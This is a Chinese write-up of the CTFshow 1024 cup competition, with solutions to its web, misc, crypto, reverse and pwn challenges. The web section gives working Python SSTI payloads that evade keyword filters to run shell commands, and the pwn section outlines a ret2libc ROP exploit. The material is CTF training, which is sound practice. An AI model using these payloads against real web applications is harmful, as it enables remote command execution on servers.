比赛:CTFshow 1024杯
平台:https://ctf.show
开始:2020/10/23 18:00
结束:2020/10/25 18:00
题目: web 杂项 密码 逆向 pwn 各3道
规则:
1 比赛期间可以随意讨论,wp须在比赛结束后发布,wp统一发布地址:https://wp.ctf.show
2 公平竞技,独立比赛
3 服务器不要爆破,不要攻击服务器,不要扫描!!!
4 奖品:武功秘籍一本,(100元以内)
出题:crypto1+re1
Web
1024_WEB签到
call_user_func()
函数第1个参数为函数名,传入phpinfo
在Configuration中发现不起眼的自定义ctfshow项,内有自定义函数ctfshow_1024 support
,传值得flag。
1024_fastapi
页面回显一个JSON数据,了解一下fastapi。
FastAPI 是一个高性能 Web 框架,用于构建 API。
主要特性:
- 快速:非常高的性能,与 NodeJS 和 Go 相当
- 快速编码:将功能开发速度提高约 200% 至 300%
- 更少的错误:减少约 40% 的人为错误
- 直观:强大的编辑器支持,自动补全无处不在,调试时间更少
- 简易:旨在易于使用和学习,减少阅读文档的时间。
- 简短:减少代码重复。
- 稳健:获取可用于生产环境的代码,具有自动交互式文档
- 基于标准:基于并完全兼容 API 的开放标准 OpenAPI 和 JSON Schema
发现其自带交互式API文档,访问/docs
页,有采用POST方式传参的/cccalccc
页,参数q
传入计算式得到结果。
因为是python框架,尝试使用SSTI,反复测试各种输入,发现结果为list或string类型的都Internal Server Error或结果为空,尝试将string切片显示,发现成功:
str([].__class__.__base__.__subclasses__()[25])[1:]
回显:{"res":"class 'property'>","err":false}
尝试查找warnings.catch_warnings
所在下标,以进一步命令执行。爆破下标输出各元素:
1 | import requests |
发现下标189为warnings.catch_warnings
,尝试
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
发现过滤了import
和system
关键字,'import'
用'__imp'+'ort__'
代替,system
用popen
代替,
列目录:
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('ls').read()
根目录无flag文件,单个目录查找flag关键字:
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('find /app | xargs grep flag').read()
查到结果:
"/app/main.py: hint = \"flag is in /mnt/f1a9,try to read it\"\n/app/start.sh:source flag.sh\n",
读取拿flag:
[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('cat /mnt/f1a9').read()
Misc
1024_签到
包含很多行x y d text
类型的数据,开始以为是Dijkstra算法求最短路径连成flag,跑脚本发现时间复杂度太高
暴力查找,从ag{
查找得到的结果,再顺着y
值($y_k$)找以y
值开头的x
值($x_{k+1}=y_k$)的行,连接text
得flag。
1024_重新签到
附件:Misc-2-.zip
类三层套娃。
level 1
文件尾提示It's all numbers
,普通爆破无果
出题人提示CRC爆破,压缩包内文件为10字节数字,CRC=0x342F0E5C,10字节CRC爆破:
1 | from pwn import * |
好在设置的数字不大,约1min得结果,为level 2密码。
level 2
jpg图片steghide隐写,解出txt文件,内容:密码是什么呀
。
level 3
压缩包注释The password is 32 bits.
,结合level 2解出的提示,各种可能的32位md5值都不行,经出题人反复提醒,才知道32是故意留的坑,真正的加密方式是sha(啥),尝试sha1加密什么呀
解出flag。
1024_兔耳
带噪音的摩斯密码,而且还很长,不会用脚本去噪+识别,直接硬搞。
内容中必定含flag
或FLAG
关键字,找到..-. .-.. .- --.
特征的一段,接着后面就是flag值。
1024_非常简单
附件:6.zip + jpg
6.zip
爆破6位数字密码+base92+base64+摩斯密码,得the end
。
jpg
- 分离zip文件,txt中与佛论禅解密得一串数字,结合提示(低头思考/老人机打字)手机键盘解密得zip密码;
- 第二层zip,txt内容为密文,文件名提示(你怕蛇吗)为Serpent加密,用在线解密网站解密,密钥为6.zip得到的
the end
,解出为zip密码,打开得flag。
1024_1024zip套娃
附件:1024.zip
带密码的多层zip套娃,且密码为0124四种数字组成,只能用脚本,生成新的删除旧的。
1 | import zipfile |
解到最终的2048层flag.txt说去看1024层,好在脚本把中间的文件输出且未删除1024.txt文件,
hex+hex+b64+b32+hex+b64+hex+b64+hex+b32+b32+hex+b64+zip,得到flag。
1024_调频收音机
audacity打开,切到频谱图,发现01波形,不会写脚本,把01字符串手撸下来,
尝试按字节分割无果,转成字符串得到包含569a四种字符的字符串,为曼彻斯特编码,脚本解码,得到标准曼彻斯特编码的解码结果为flag。
1024_大威天龙
送你一句箴言“大威天龙,世尊地藏,般若诸佛,般若巴嘛哄”
修改png高度,发现非文字版与佛论禅,找个在线网站OCR识别文字并检查修正,
修正后,与佛论禅+新与佛论禅+与熊论道+与佛论禅V2,得到flag。
Crypto
1024_Trick
RSA向+一点数论推导技巧。
$e_1d \equiv e_2(d+1024) \equiv 1 \pmod {\varphi(n)}$
即 $(e_1-e_2)d \equiv 1024e_2 \pmod {\varphi(n)}$
两边乘以 $e_1$ ,有 $(e_1-e_2)e_1d \equiv 1024e_2e_1 \pmod {\varphi(n)}$
因 $e_1d \equiv 1 \pmod {\varphi(n)}$,则 $e_1-e_2 \equiv 1024e_2e_1 \pmod {\varphi(n)}$
即 $e_1-e_2-1024e_1e_2 \equiv 0 \pmod {\varphi(n)}$
即 $e_1-e_2-1024e_1e_2 = k\varphi(n), k\in \mathbb{Z}$
$e_1,e_2$ 已知,可以计算出 $\varphi(n)$ 的倍数值 $k\varphi(n)$
用 $k\varphi(n)$ 可求出对应的 $d’$值:$e_1d’ \equiv 1 \pmod {k\varphi(n)}$
联立 $e_1d \equiv 1 \pmod {\varphi(n)}$,有 $d=d’\pmod {\varphi(n)}$
故 $m=c^{d’} \pmod n$。
1 | import gmpy2 |
1024_麻辣兔头第七锅
小白兔,白又白,跳出栅栏进锅来
附件:tutu.txt
明显提示的栅栏密码,看到整个密文用普通和W型解都不对,
仔细看密文中只有一对{
和}
,且{
前30个字节内有f/l/a/g四种字母,且间隔相等,
截取f
开头到}
结尾的字符串,尝试按6位一行取出并观察每行首字母,flag部分为0-f字符,调整第15行之后为5位一行,最后每行首字母连成flag。
1024_密码系统
1024密码系统,have fun!!!
DES-ECB模式攻击,参考:https://www.jianshu.com/p/8aef410a2eae
整体思路:
由脚本得知为8位分组的DES-ECB加密,每块8位明文单独加密得8位密文,又因key由两种字符串随机选择用于加密,每块8位明文对应的密文有两种可能。
结合脚本观察输出值,是密文 $c$ 经过 $c^{12}+rand(10^{1023},10^{1024})$ 处理的,假设
$c^{12}+rand(10^{1023},10^{1024}) \lt(c+1)^{12}$
那么对输出值直接开12次方取整即为 $c$。
明文由输入值m+flag+padding
组成,$m$ 为空时, $c$ 可分 $k$ 块,不断调整 $m$ 的长度,直到 $m$ 长度为 $l+1$ 时 $c$ 可分 $k+1$ 块,那么说明 $m$ 长度为 $l$ 时 $c$ 刚好可分 $k$ 块,即无padding情况下,$m+flag$ 可分 $k$ 块,则flag长度即为 $8k-l$。
利用上面的思想,在 $m$ 长度为 $l$ 的基础上,长度不断加1,则可以把flag从后开始的每一位推到下一个块中,得到下一个块的密文 $c_i$;
又已爆破出的flag位+padding
已知,则下一个块的构成为未知字符1位+已爆破出的flag位(+padding)
;
根据DES-ECB的性质,相同明文块对应的密文块相同。爆破第一位未知字符,将上面的块构成作为输入值输入,得到对应的密文的第一块,分别与实际密文 $c_i$ 比较,匹配的即为正确的明文字符。
以此类推,得到完整flag。
1 | #DES-ECB模式运作测试脚本 |
1 | #解题脚本 |
最后得到的flag串并不是真正的flag,提示为01248,即云影密码,按0分隔,其他数隔开后组合加和,转化为1-26对应的字母,得到最终flag。
Reverse
1024_抽象语言
手逆python字节码。源码用python -m dis code.py
生成。
字节码还原的相关分析参考:
https://docs.python.org/zh-cn/3/library/dis.html
https://bbs.pediy.com/thread-262577.htm
得到源码:
1 | import base64 |
c
解出的list与满足函数x()
条件的 $2^k-1$ 分别异或得到结果,而x()
中判断 $2^k-1$ 是否为素数。
直接运行在短时间只能得到前几位的结果,是因为 $2^k-1$ 的值为指数级增长,而且x()
中又需对每个数从2至当前数遍历,非常耗时。
换个角度,c
的list长度为47,那么只需寻找前47个满足 $2^k-1$ 为素数的 $k$ 值即可。
参考:梅森素数
梅森数,是指形如 $2^p-1$ 的一类数,其中指数 $p$ 是正整数,常记为 $M_p$ 。如果梅森数是素数,就称为梅森素数。
用因式分解法可以证明,若 $2^n-1$ 是素数,则指数 $n$ 也是素数;反之,当 $n$ 是素数时,$2^n-1$(即$M_p$)却未必是素数。前几个较小的梅森数大都是素数,然而梅森数越大,梅森素数也就越难出现。
目前仅发现51个梅森素数,最大的是 $M_{82589933}$(即 $2^{82589933}-1$),有 $24862048$ 位。
可见满足梅森素数($2^k-1$)的梅森指数($k$ 值)必定也是素数,而寻找梅森素数的过程很复杂且极其耗时(发现第35-51个梅森素数的过程,使用巨型分布式算力都花费了近20年)。
对于著名数列,可以使用在线整数数列查询网站(OEIS)查询,梅森素数数列里不足47个,不过可以从梅森指数数列里取47个 $k$ 再计算 $2^k-1$。
1 | import base64 |
Pwn
1024_happy_stack
happy为主,顺便签到
无system
无/bin/sh
无libc
。
需要满足s=='36D'
,padding填充'36D'.ljust(0x380,'\x00')
,
可以通过puts
函数泄露出puts
函数地址,再到libc数据库查找下载相应的libc,用one_gadget找到execve()
函数,根据偏移计算基地址,ROP成功。
1 | from pwn import * |
1024_happy_checkin
无system
无/bin/sh
无libc
。
可以通过puts
函数泄露出puts
函数地址,再到libc数据库查找下载相应的libc,用one_gadget找到execve()
函数,根据偏移计算基地址,ROP成功。
1 | from pwn import * |